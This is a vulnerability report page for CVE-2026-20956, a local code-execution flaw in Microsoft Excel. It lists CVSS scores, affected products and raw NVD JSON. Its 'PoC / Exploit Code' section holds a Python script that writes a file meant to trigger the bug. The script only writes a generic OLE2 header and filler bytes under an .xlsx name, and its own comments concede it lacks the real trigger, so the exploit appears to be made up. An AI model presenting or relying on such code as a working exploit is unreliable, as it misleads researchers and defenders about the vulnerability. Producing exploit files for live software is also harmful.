Security Vulnerability Report
中文
CVE-2026-20956 CVSS 7.8 HIGH

CVE-2026-20956

Published: 2026-01-13 18:16:23
Last Modified: 2026-01-14 19:48:43

Description

Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:* - VULNERABLE
Microsoft Office Excel 2016 及之前版本
Microsoft Office Excel 2019
Microsoft 365 Apps for Enterprise

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct def create_malicious_excel(): """ Generate a PoC for CVE-2026-20956 Untrusted Pointer Dereference This creates a minimal Excel file with crafted data to trigger the vulnerability """ # Excel file header (OLE2 compound document) header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # Crafted data that may trigger pointer dereference # In real exploitation, this would contain specific byte patterns malicious_data = b'\x00' * 512 # Add specific trigger bytes for the vulnerability trigger_bytes = b'\x41' * 64 # Excel record structure (simplified) record_type = struct.pack('<H', 0x0209) # BOF record type record_length = struct.pack('<H', len(malicious_data)) record_data = record_type + record_length + malicious_data # Create the malicious file content poc_file = header + trigger_bytes + record_data # Write to file with open('CVE-2026-20956-poc.xlsx', 'wb') as f: f.write(poc_file) print('PoC file created: CVE-2026-20956-poc.xlsx') print('WARNING: This file is for research purposes only') if __name__ == '__main__': create_malicious_excel()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20956", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:23.467", "lastModified": "2026-01-14T19:48:42.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Desreferencia de puntero no confiable en Microsoft Office Excel permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20956", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}